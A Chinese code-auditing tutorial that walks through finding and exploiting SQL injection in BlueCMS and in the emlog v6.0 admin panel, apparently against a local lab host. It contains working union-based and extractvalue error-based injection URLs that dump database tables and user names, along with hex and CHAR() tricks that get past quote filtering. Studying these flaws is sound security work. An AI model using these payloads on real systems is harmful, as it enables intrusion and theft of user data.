代码审计入门 原生态sql注入篇

news2025/5/10 8:48:55

前置知识:

漏洞形成的原因:

1、可控的参数 2、函数缺陷

代码审计的步骤:

1、全局使用正则搜索 漏洞函数 ,然后根据函数看变量是否可控,再看函数是否有过滤

2、根据web的功能点寻找函数,然后根据函数看变量是否可控,再看函数是否有过滤

sql注入代码前置知识

代码常见语句

-功能追踪-功能点文件SQL执行代码函数调用链追踪

-根据代码搜索-正则搜索-(update|select|insert|delete|).*?where.*=

(update|select|insert|delete|).*?where.*=

案例一:bluecms

案例使用的web全是纯手搓的项目 使用思路 1 先使用正则表达式 去查找对应的函数(代码审计就是 寻函数找方法)

全局使用正则去搜索

使用正则搜索的时候 发现这些有个目录的路径 : 我们需要看一下这些目录的作用 (可以查看里面的内容  或者是按照这个英文单词翻译)

那我们不需要找这些  admin 目录下的(影响比较鸡肋  后台内的sql注入需要有后台的权限)

挨个分析 一下  看看有没有过滤什么的

为了便于分析

加一个输出语句

找到漏洞语句 之后就看有没有回显

发现是有回显的  

但是下边有一个

if($ad['time_set'] == 0)  //如果广告设置了 ==0 表示永远有效
{
	$ad_content = $ad['content'];
}
else   // 否则 如果广告小于 广告商给的时间  就下架
{
	if($ad['end_time'] < time())
	{
		$ad_content = $ad['exp_content'];
	}
	else
	{
		$ad_content = $ad['content'];        //否则就显示内容
	}
}

这个进行搜索一下这个就是广告逻辑  设置广告 这个页面呢可能就是广告商页面  上边的参数可能就是从数据库中 找哪个广告

$ad_content = str_replace('"', '\"',$ad_content);  //对内容进行过滤  如果内容中有这些符号就会被替换
$ad_content = str_replace("\r", "\\r",$ad_content);
$ad_content = str_replace("\n", "\\n",$ad_content);
echo "<!--\r\ndocument.write(\"".$ad_content."\");\r\n-->\r\n";  // 输出内容  但是这个现实呢 是进行html注释的内容

这个思路就是根据代码函数找缺陷然后找到功能点的web页面

这个 ad_id 就是注入点

使用192.168.21.12:70/ad_js.php?ad_id=1 order by 7

进行产看是有 7个 查询列的  查看回显的时候要查看源代码

http://192.168.21.12:70/ad_js.php?ad_id=1%20union%20select%201,2,3,4,5,6,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database();%20%23

有个小过滤

就是会过滤我们的 ''  ""  导致 where=""  失效  绕过手段

sql注入中字符串 "" 被过滤:

1、进行16进制编码

view-source:http://192.168.21.12:70/ad_js.php?ad_id=1%20union%20select%201,2,3,4,5,6,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x626C75655F75736572%23

2、使用 char 进行拼接  char可以把ascii码转为字符串 blue_user 拼接 

CHAR(98,108,117,101,95,117,115,101,114)    b的ascii就是 98 
http://192.168.21.12:70/ad_js.php?ad_id=1%20union%20select%201,2,3,4,5,6,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=CHAR(98,108,117,101,95,117,115,101,114)%23
http://192.168.21.12:70/ad_js.php?ad_id=1%20union%20select%201,2,3,4,5,user_id,user_name%20from%20blue_user

案例二 : emlog v6.0版

这个的sql注入点在 后台 

(update|select|insert|delete|).*?where.*=
正则搜索一下

数据库监听脚本工具的使用

它的作用就是 可以监听我们进行访问web页面时触发的sql语句

基本使用

github上搜索 :MySQL-Monitor-master

在这个config下有泄露

玩法 : 访问后台

就三个语句

分析一下可能 这个就是查找用户的  所以我们根据这个功能 锁定一下代码

还有一层判断逻辑

$sql = "SELECT DISTINCT gid FROM ".DB_PREFIX."comment WHERE ip='$ip'";


$ip = 1' and 1=1%23

http://192.168.21.12:70/admin/comment.php?action=delbyip&ip=1%27%20and%201=1%23

这个的验证

取一下token

http://192.168.21.12:70/admin/comment.php?action=delbyip&token=7371404e1fba139c96aa07029178fe70 and ip=1' order by 5%23


是吧这个其实是不对的  需要把 token 放到后边的话需要进行  拼接   http://192.168.21.12:70/admin/comment.php?action=delby and ip=1' order by 5--+&token=7371404e1fba139c96aa07029178fe70


--+ 拼接

?action=delbyip&ip=127.0.0.1%27and(extractvalue(1,concat(0x7e,(select%20user()),0x7e)))%20--+&token=7371404e1fba139c96aa07029178fe70


extractvalue  :  执行xml语句

使用xml的形式就是为了让他报错回显



本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2338715.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

spring Ai---向量知识库(一)

在一些垂直领域以及公司内部信息相关或者实时性相关的大模型应用&#xff0c;就无法直接使用chatGPT。 这个时候&#xff0c;向量知识库就进入了。 通过坐标向量最接近的即为匹配相关答案。 向量模型定义&#xff1a;将文档向量化&#xff0c;保证内容越相似的文本&#xff0c;…

jmeter利用csv进行参数化和自动断言

1.测试数据 csv测试数据如下&#xff08;以注册接口为例&#xff09; 2.jemer参数化csv设置 打开 jmeter&#xff0c;添加好线程组、HTTP信息头管理器、CSV 数据文件设置、注册请求、响应断言、查看结果树 1&#xff09; CSV 数据文件设置 若 CSV 中数据包含中文&#xff0c;…

数据结构实验7.2:二叉树的基本运算

文章目录 一&#xff0c;实验目的二&#xff0c;问题描述三&#xff0c;基本要求四&#xff0c;实验操作五&#xff0c;示例代码六&#xff0c;运行效果 一&#xff0c;实验目的 深入理解树与二叉树的基本概念&#xff0c;包括节点、度、层次、深度等&#xff0c;清晰区分二叉…

Go-zero框架修改模版进行handler统一响应封装

使用go-zero快速生成接口的时候&#xff0c;发现还是有一些情况不太好处理&#xff0c;比如说&#xff0c;想要自定义响应封装等等。 最开始第一版写api文件的时候&#xff0c;写法是这样的。 type LoginRequest {UserName string json:"userName"Password string …

AI专题(一)----NLP2SQL探索以及解决方案

前面写了很多编码、算法、底层计算机原理等相关的技术专题&#xff0c;由于工作方向调整的缘故&#xff0c;今天开始切入AI人工智能相关介绍。本来按照规划&#xff0c;应该先从大模型的原理开始介绍会比较合适&#xff0c;但是计划赶不上变化&#xff0c;前面通用大模型的工作…

深入理解 React Hooks:简化状态管理与副作用处理

在现代前端开发中&#xff0c;React 已经成为了最受欢迎的 JavaScript 库之一。随着 React 16.8 的发布&#xff0c;React Hooks 的引入彻底改变了开发者编写组件的方式。Hooks 提供了一种更简洁、更直观的方式来管理组件的状态和副作用&#xff0c;使得函数组件能够拥有类组件…

Java 动态代理实现

Java 动态代理实现 一、JDK动态代理二、CGLIB动态代理三、动态代理的应用场景四、JDK代理与CGLIB代理比较 动态代理是Java中一种强大的技术&#xff0c;它允许在运行时创建代理对象&#xff0c;用于拦截对目标对象的方法调用。 一、JDK动态代理 JDK动态代理是Java标准库提供的代…

人脸扫描黑科技:多相机人脸扫描设备,打造你的专属数字分身

随着科技的迅猛发展&#xff0c;人脸扫描这个词已经并不陌生&#xff0c;通过人脸扫描设备制作超写实人脸可以为影视制作打造逼真角色、提升游戏沉浸感&#xff0c;还能助力教育机构等领域生产数字人以丰富教学资源&#xff0c;还在安防、身份识别等领域发挥关键作用&#xff0…

基于Python的中国象棋小游戏的设计与实现

基于Python的中国象棋小游戏的设计与实现 第一章 绪论1.1 研究背景1.2 研究意义 第二章 需求分析2.1 需求分析2.1.1核心功能需求2.1.2 用户体验需求2.1.3 衍生功能需求 2.2 可行性分析2.2.1 技术可行性2.2.2 经济可行性2.2.3 市场可行性2.2.4 法律与合规性 第三章 概要设计3.1 …

简单好用的在线工具

用AI写了一些在线工具&#xff0c;简介好用&#xff0c;推荐给大家&#xff0c;欢迎大家使用并提议意见。 网址&#xff1a;https://www.bittygarden.com/ 目前已有以下功能&#xff1a; MD5SM3SHAUnicode 编码Unicode 解码Base32 编码Base32 解码Base64 编码Base64 解码URL …

外卖市场规模巨大,是宽广赛道?京东CEO发言

大家好&#xff0c;我是小悟。 在竞争激烈的外卖市场中&#xff0c;京东作为新入局者&#xff0c;正以独特的战略视角和坚定的决心&#xff0c;重新定义外卖行业的竞争格局。 近日&#xff0c;京东集团CEO许冉在接受采访时表示&#xff1a;“外卖行业本就是一个宽广的赛道&am…

Flutter PIP 插件 ---- iOS Video Call 自定义PIP WINDOW渲染内容

简介 画中画(Picture in Picture, PiP)是一项允许用户在使用其他应用时继续观看视频内容的功能。本文将详细介绍如何在 iOS 应用中实现 PiP 功能&#xff0c;包括自定义内容渲染和控制系统控件的显示。 效果展示 功能特性 已完成功能 ✅ 基础 PiP 接口实现&#xff08;设置…

xml+html 概述

1.什么是xml xml 是可扩展标记语言的缩写&#xff1a; Extensible Markup Language。 <root><h1> text 1</h1> </root> web 应用开发&#xff0c;需要配置 web.xml&#xff0c;就是个典型的 xml文件 <web-app><servlet><servlet-name&…

Java从入门到“放弃”(精通)之旅——数组的定义与使用⑥

Java从入门到“放弃”&#xff08;精通&#xff09;之旅&#x1f680;——数组⑥ 前言——什么是数组&#xff1f; 数组&#xff1a;可以看成是相同类型元素的一个集合&#xff0c;在内存中是一段连续的空间。比如现实中的车库&#xff0c;在java中&#xff0c;包含6个整形类…

如何对docker镜像存在的gosu安全漏洞进行修复——筑梦之路

这里以mysql的官方镜像为例进行说明&#xff0c;主要流程为&#xff1a; 1. 分析镜像存在的安全漏洞具体是什么 2. 根据分析结果有针对性地进行修复处理 3. 基于当前镜像进行修复安全漏洞并复核验证 # 镜像地址mysql:8.0.42 安全漏洞现状分析 dockerhub网站上获取该镜像的…

基于springboot的老年医疗保健系统

博主介绍&#xff1a;java高级开发&#xff0c;从事互联网行业六年&#xff0c;熟悉各种主流语言&#xff0c;精通java、python、php、爬虫、web开发&#xff0c;已经做了六年的毕业设计程序开发&#xff0c;开发过上千套毕业设计程序&#xff0c;没有什么华丽的语言&#xff0…

使用Ollama本地运行deepseek模型

Ollama 是一个用于管理 AI 模型的工具 下载 Ollama Ollama 选择版本 下载模型 安装好后&#xff0c;下载模型 选择模型 选择模型大小&#xff0c;复制对应命令&#xff08;越大越聪明&#xff0c;但是内存要求越高&#xff09; 打开控制台运行命令&#xff0c;第一次运行会自动…

网络编程 - 3

目录 UDP 连接拓展&#xff08;业务逻辑&#xff09; 词典服务器实现 完 UDP 连接拓展&#xff08;业务逻辑&#xff09; 我们上一篇文章实现了一个回显服务器&#xff0c;在服务端中业务方法 process 中&#xff0c;只是单纯的将客户端输入的东西 return 了一下&#xff0…

5G 毫米波滤波器的最优选择是什么?

新的选择有很多&#xff0c;但到目前为止还没有明确的赢家。 蜂窝电话技术利用大量的带带&#xff0c;为移动用途提供不断增加的带宽。 其中的每一个频带都需要透过滤波器将信号与其他频带分开&#xff0c;但目前用于手机的滤波器技术可能无法扩展到5G所规划的全部毫米波&#…

【HDFS入门】HDFS性能调优实战:压缩与编码技术深度解析

目录 1 HDFS性能调优概述 2 HDFS压缩技术原理与应用 2.1 常见压缩算法比较 2.2 压缩流程架构 2.3 压缩配置实践 3 列式存储编码技术 3.1 ORC与Parquet对比 3.2 ORC文件结构 3.3 Parquet编码流程 4 性能调优实战建议 4.1 压缩选择策略 4.2 编码优化技巧 5 性能测试…